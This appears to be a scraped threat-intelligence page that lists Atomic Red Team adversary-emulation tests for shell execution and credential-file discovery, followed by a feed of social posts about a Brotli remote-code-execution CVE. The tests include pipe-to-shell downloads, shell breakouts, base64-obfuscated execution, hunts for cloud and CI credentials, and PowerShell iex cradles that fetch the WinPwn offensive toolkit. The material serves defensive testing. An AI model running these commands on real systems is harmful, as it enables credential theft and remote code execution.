wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004
Create and Execute Bash Shell Script
Linux, macOS
Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004
Creating shell using cpan command
Linux, macOS
Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
T1059.004
Current kernel information enumeration
Linux
Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004
Detecting pipe-to-shell
Linux
Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004
Environment variable scripts
Linux
Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004
Harvest SUID executable files
Linux
Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004
LinEnum tool execution
Linux
Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004
New script file in the tmp directory
Linux
Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004
Obfuscated command line scripts
Linux
Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004
Shell Creation using awk command
Linux, macOS
Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004
Shell Creation using busybox command
Linux
Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference -...
Command (Shell)
busybox sh &
T1059.004
What shell is running
Linux
Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004
What shells are available
Linux
Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells
T1059.004
emacs spawning an interactive system shell
Linux, macOS
Shell
Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1552.001
Access Drone CI Config File
Linux, macOS
Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Gitlab CI Config File
Linux, macOS
Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Jenkinsfile
Linux, macOS
Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access Travis CI Config File
Linux, macOS
Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Access unattend.xml
Windows
CMD
Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001
Dump GitHub Actions Runner Environment Variables from procfs
Linux
Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh)
and reads their environment variables from /proc/<pid>/environ, filtering for keys
containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests
credentials and secrets...
Command (Bash)
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001
Extract Browser and System credentials with LaZagne
macOS
Bash
Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001
Extract passwords with grep
Linux, macOS
Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001
Extracting passwords with findstr
Windows
PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001
Find .env Files Containing Application Credentials
Linux, macOS
Shell
Searches common web application and service directories for .env files
(.env, .env.local, .env.production, .env.development, .env.staging) that may
contain credentials such as API keys, database passwords, and service secrets.
Adversaries targeting web servers or...
Command (Shell)
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001
Find AWS credentials
Linux, macOS
Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001
Find Azure credentials
Linux, macOS
Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Docker credentials
Linux, macOS
Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find GCP credentials
Linux, macOS
Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find HashiCorp Vault token files
Linux, macOS
Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Kubernetes cluster configuration files
Linux
Shell
Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001
Find Kubernetes user configuration files
Linux, macOS
Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell)
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001
Find OCI credentials
Linux, macOS
Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001
Find Terraform credential files
Linux, macOS
Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell)
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001
Find and Access Github Credentials
Linux, macOS
Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find database credential files
Linux, macOS
Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell)
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001
Find npm registry credential files
Linux, macOS
Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
Find system database configuration files
Linux
Shell
Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001
List Credential Files via Command Prompt
Windows
CMD
Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001
List Credential Files via PowerShell
Windows
PowerShell
Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001
Search for Git Credential Files
Linux, macOS
Shell
Searches the specified directory for a git credential file, which
may contain plaintext credentials, access tokens, or credential helper
configurations. Example files include .git-credentials and .gitconfig.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001
WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Windows
PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001
WinPwn - SessionGopher
Windows
PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001
WinPwn - Snaffler
Windows
PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001
WinPwn - passhunt
Windows
PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001
WinPwn - powershellsensitive
Windows
PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001
WinPwn - sensitivefiles
Windows
PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutputDetection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
189 mentions from 123 sources in the last 7 days BuzzFactor 100 / 100
-
social bsky.app @hacker.at.thenote.app 2026-11-04 11:47 UTCProduct showcase: Sweet Virtual Patching stops HTTP2Shell while fixes catch up HTTP2Shell (CVE-2026-111497), the critical Brotli bug first known as Node2Shell, is a remote code execution flaw in the compression library inside Node.js, Bun,…Open source
-
social bsky.app @runbooklab.bsky.social 2026-11-04 10:56 UTCCorrection: .NET Brotli flaw CVE-2026-111497 is in CISA KEV (27 Oct, due 10 Nov). PowerShell 7 and Visual Studio are affected too. Do this: update PowerShell 7 to 7.4.22, 7.5.13 or 7.6.9. Check: $PSVersionTable.PSVersion Source: CISA KEV,…Open source
-
social bsky.app @wpnewsio.bsky.social 2026-11-04 09:40 UTCOne unauthenticated POST to xmlrpc.php can take down a PHP worker on a stock WordPress[…] #Security #WordPressOpen source
-
social bsky.app @vapvarun.bsky.social 2026-11-04 09:40 UTCWordPress does not ship Brotli, but one unauthenticated pingback can still reach CVE-2026-111497 through the server's own library, and the usual XML-RPC off switch does not stop it. What to patch. #WordPressOpen source
-
social bsky.app @pmloik.bsky.social 2026-11-04 07:57 UTCTop 3 CVE for last 7 days: CVE-2026-98432: 621 interactions CVE-2026-109618: 66 interactions CVE-2026-111497: 66 interactions Top 3 CVE for yesterday: CVE-2026-98432: 59 interactions CVE-2026-58115: 12 interactions CVE-2026-58868: 11 inter…Open source
-
social bsky.app @gcpweekly.bsky.social 2026-11-04 07:40 UTCThis addresses the following vulnerabilities: CVE-2026-111497 CVE-2026-8286 CVE-2026-8924 CVE-2026-8927 CVE-2026-92392 N/A Security fixes for apigee-hybrid-cassandraOpen source
-
social bsky.app @undercodenews.bsky.social 2026-11-04 04:22 UTCNode2Shell: Critical Brotli Vulnerability Enables Remote Code Execution as Attackers Exploit Systems in the Wild + Video CRITICAL SECURITY ALERT Reported In-the-Wild Exploitation Introduction: A Compression Vulnerability Becomes a Remote A…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-04 03:24 UTCNode2Shell (CVE-2026-111497) is a critical out-of-bounds write in Brotli decoding that can enable remote code execution. The article reports in-the-wild exploitation and lists fixes for Node.js and Bun.Open source
-
code github.com Certbn 2026-11-03 20:04 UTCCertbn/Brotli-Node.js-CVE-2026-111497-Broccoli2Shell-Node2Shell-HTTP2Shell-Open source
-
social bsky.app @infosec.skyfleet.blue 2026-11-03 19:07 UTCRe: Brotli CVE-2026-111497Open source
-
social bsky.app @dynamosys.bsky.social 2026-11-03 18:11 UTCUpdated your npm packages for Node2Shell? The fix is in Node.js itself (22.23.4, 24.22.1 or 26.12.1), and containers, CI images and DDEV each carry their own copy. Here's what to check, Drupal sites included. #NodeJs #DrupalSecurity #Secur…Open source
-
social bsky.app @telescope.littleplanetlabs.com 2026-11-03 17:15 UTC✅ Resolved: Akamai - Customer Security Advisory: Brotli Remote Code Execution Vulnerabilities [CVE-2026-111497]Open source
-
social bsky.app @telescope.littleplanetlabs.com 2026-11-03 17:15 UTC✅ Resolved: As of November 2, 2026, at approximately 23:00 UTC, we completed all platform hardening measures to fully mitigate Akamai's potential exposure to the Brotli Remote Code Execution vulnerability (CVE-2026-111497). All systems are…Open source
-
social infosec.exchange @116710323468652980 2026-11-03 08:35 UTCPHP and Microsoft patch CVE-2026-111497 in Brotli 🔗 https:// cybersecurefox.com/en/cve-2026 -111497-brotli-php-microsoft-emergency-patches # CVE -2026-111497 # Brotli # PHP # Windows # Microsoft #.NET # CISA # KEVOpen source
-
social bsky.app @pmloik.bsky.social 2026-11-03 08:31 UTCTop 3 CVE for last 7 days: CVE-2026-98432: 562 interactions CVE-2026-111497: 106 interactions CVE-2026-109618: 95 interactions Top 3 CVE for yesterday: CVE-2026-98432: 24 interactions CVE-2026-97229: 9 interactions CVE-2026-120277: 8 inter…Open source
-
news helpnetsecurity.com 2026-11-03 06:00 UTCProduct showcase: Sweet Virtual Patching stops HTTP2Shell while fixes catch up - Help Net SecurityOpen source
-
social infosec.exchange @116797276219291526 2026-11-03 01:42 UTCArista fixed critical Arista security vulnerabilities CVE-2026-111497 and CVE-2026-98432 that allow unauthenticated remote code execution. Update now. # Arista # VeloCloud # LinuxKernel # RCE # CVE2026111497 # CVE202698432 # Cybersecurity…Open source
-
social bsky.app @securityonline.bsky.social 2026-11-03 01:41 UTCArista fixed critical Arista security vulnerabilities CVE-2026-111497 and CVE-2026-98432 that allow unauthenticated remote code execution. Update now. #Arista #VeloCloud #LinuxKernel #RCE #CVE2026111497 #CVE202698432 #Cybersecurity #InfoSecOpen source
-
social bsky.app @gaprogman.com 2026-11-02 22:01 UTCS09E04b - The October 2026 Brotli Security Update: Who It Affects A short bonus episode about Common Vulnerabilities and Exposures (CVE) entry CVE-2026-111497. This is a flaw in the Brotli decompression library that .NET uses. Microsoft re…Open source
-
social news.ycombinator.com nh2 2026-11-02 20:53 UTCWTF Ubuntu?Open source
-
advisory akamai.com 2026-11-02 20:38 UTCCVE-2026-98432: A Remote Use-After-Free in the Linux Kernel’s TCP Stack - AkamaiOpen source
-
social news.ycombinator.com orblivion 2026-11-02 19:12 UTCWTF Ubuntu?Open source
-
social bsky.app @wordfenceofficial.bsky.social 2026-11-02 18:19 UTCHTTP2Shell: What the Critical Brotli Vulnerability Means for WordPress Sites www.wordfence.com/blog/2026/11...Open source
-
social bsky.app @defectdojo.bsky.social 2026-11-02 16:45 UTCAnother day, another vulnerability. Brotli2Shell (CVE-2026-111497) hides inside Node.js, .NET and Bun, and each copy needs its own fix. Early Light helps you find them. Sensei fixes them in DefectDojo Pro 3.4.303. defectdojo.com/blog/early…Open source
-
social bsky.app @oversecurity.net.web.brid.gy 2026-11-02 16:03 UTCOpen source
-
social infosec.exchange @116710323468652980 2026-11-02 16:00 UTCFortinet is auditing 40+ products for Node.js vulnerabilities (FG-IR-26-187) 🔗 https:// cybersecurefox.com/en/fortinet -fg-ir-26-187-node-js-cve-2026-111497-brotli-rce # CVE -2026-111497 # Node .js # Fortinet # Brotli # RCE # CISA # KEVOpen source
-
social bsky.app @lordman1982.bsky.social 2026-11-02 13:03 UTCNode2Shell Brotli vuln (CVE-2026-111497) evolves to HTTP2Shell, as libraries and apps using HTTP are affected www.aikido.dev/blog/python-...Open source
-
social bsky.app @forsmile.jp 2026-11-02 13:00 UTC【緊急】Node.js・Brotli に深刻な脆弱性（CVE-2026-111497 / CVSS 9.8） 細工した圧縮データを展開させるだけでコード実行の恐れ。10/27にCISAの悪用確認済みカタログに追加。 対処: Node.jsを22.23.4／24.22.1／26.12.1へ更新して再起動。 forsmile.jp/articles/nod... #セキュリティ #CVEOpen source
-
advisory rapid7.com 2026-11-02 11:06 UTCAdditional Ivanti Connect Secure zero-days exploited in the wild (CVE-2026-111357, CVE-2026-118527) - Rapid7Open source
-
news aikido.dev 2026-11-02 10:46 UTCLinux kernel TCP RCE vulnerability (CVE-2026-98432): fix - Aikido SecurityOpen source
-
code github.com EQSTLab 2026-11-02 09:46 UTCEQSTLab/CVE-2026-111497Open source
-
code github.com fortbridge 2026-11-02 08:55 UTCfortbridge/cve-2026-111497-wordpress-pingback-brotliOpen source
-
social bsky.app @pmloik.bsky.social 2026-11-02 08:11 UTCTop 3 CVE for last 7 days: CVE-2026-98432: 538 interactions CVE-2026-109618: 160 interactions CVE-2026-111497: 148 interactions Top 3 CVE for yesterday: CVE-2026-98432: 44 interactions CVE-2026-97229: 13 interactions CVE-2026-110264: 9 int…Open source
-
code github.com ChriSec7 2026-11-02 04:58 UTCChriSec7/CVE-2026-111497-POCOpen source
-
news businessupturn.com 2026-11-02 03:01 UTCBrotli CVE-2026-111497: actively exploited, three fixed versions - Business UpturnOpen source
-
social bsky.app @netmarkjp.bsky.social 2026-11-02 01:55 UTC#ばばさん通信ダイジェスト 賛否関わらず話題になった/なりそうなものを共有しています。 BrotliのC言語実装における境界外書き込みの脆弱性（CVE-2026-111497）に関する注意喚起 https://www.jpcert.or.jp/at/2026/at260034.htmlOpen source
-
social infosec.exchange @116797276219291526 2026-11-02 01:35 UTCBrotli vulnerability CVE-2026-111497 affected products list: fixes for Node.js, .NET, Envoy, PAN-OS and distros, plus VMware and others still unpatched. # Brotli # CVE2026111497 # NodeJS # DotNET # VMware # PatchNow # CISAKEV # Vulnerabili…Open source
-
social bsky.app @securityonline.bsky.social 2026-11-02 01:35 UTCBrotli vulnerability CVE-2026-111497 affected products list: fixes for Node.js, .NET, Envoy, PAN-OS and distros, plus VMware and others still unpatched. #Brotli #CVE2026111497 #NodeJS #DotNET #VMware #PatchNow #CISAKEV #VulnerabilityOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-01 19:15 UTC5. CVE-2026-111497 · 7 people 🔥 🟥 Critical 9.2 · Google Brotli Out-of-Bounds Write in Google Brotli DecoderOpen source
-
social bsky.app @alt.pds.lefht.cc 2026-11-01 19:15 UTC🛡️ Most-discussed CVEs on Bluesky, last 24h 1. CVE-2026-98432 · 55 people 2. CVE-2026-109618 · 10 people 🔥 3. CVE-2026-58882 · 10 people 4. CVE-2026-120189 · 8 people 5. CVE-2026-111497 · 7 people 🔥 🔥 = on CISA's Known Exploited list · det…Open source
-
social bsky.app @tellerstech.bsky.social 2026-11-01 17:57 UTCBrotli CVE-2026-111497 Is Being Exploited, and It's Not Just Node.js #brotli #cve #devops #sre This is a clip from our recent Ship It Weekly Podcast episode. Visit shipitweekly.fm or link in bio to listen to the full episode!Open source
-
social bsky.app @arc-codex.com 2026-11-01 13:38 UTCNode2Shell (CVE-2026-111497): Detecting the Node.js Brotli RCE This article overstates the confidence in the "Node2Shell" finding by balancing documented crashes and denial-of-service reports against a claim of reliable RCE, especially whe…Open source
-
code github.com Sable-Research 2026-11-01 13:21 UTCSable-Research/brotli-decoder-overflowOpen source
-
code github.com mehmet-emir-eroglu 2026-11-01 11:07 UTCmehmet-emir-eroglu/NODE2SHELLOpen source
-
social bsky.app @runbooklab.bsky.social 2026-11-01 08:33 UTCMicrosoft shipped out-of-band .NET 8.0.33, 9.0.22 and 10.0.14 on 25 Oct for Brotli flaw CVE-2026-111497. Do this: update runtimes, then rebuild self-contained apps and containers. Check: dotnet --list-runtimes Source: .NET Blog, 25 Oct run…Open source
-
social bsky.app @pmloik.bsky.social 2026-11-01 08:03 UTCTop 3 CVE for last 7 days: CVE-2026-98432: 494 interactions CVE-2026-109618: 178 interactions CVE-2026-111497: 169 interactions Top 3 CVE for yesterday: CVE-2026-98432: 61 interactions CVE-2026-118539: 14 interactions CVE-2026-58882: 7 int…Open source
-
code github.com esskslifetech 2026-11-01 05:41 UTCesskslifetech/PROTECTION2ShellOpen source
-
social bsky.app @fishwalkerit.bsky.social 2026-11-01 05:20 UTCBrotli CVE-2026-111497 đã bị khai thác ngoài thực tế: Singapore cảnh báo, .NET và Python cũng dính — hạn chót 10/11 Đoạn trả lời trực tiếp Ngày 30/10/2026, Cơ quan An ninh mạng Singapore (CSA) cảnh báo lỗ hổng CVE-2026-111497 trong bộ giải…Open source
-
social infosec.exchange @secdb 2026-11-01 01:06 UTC📈 CVE Published in last 30 days (2026-10-01 - 2026-10-01) See more at https:// secdb.nttzen.cloud/dashboard Total CVEs: Severity: - Critical: 1496 - High: 6581 - Medium: 6261 - Low: 974 - None: 2143 Status: - : 158 - Analyzed: 3213 - Await…Open source
-
social infosec.exchange @cve 2026-10-31 23:56 UTCCVE-2026-115946 XS::libbrotli versions before 1.2.1.0 for Perl bundle a brotli library with an out-of-bounds write in the decoder XS::libbrotli versions before 1.2.1.0 for Perl bundle a brotli library with an out-of-bounds write in the dec…Open source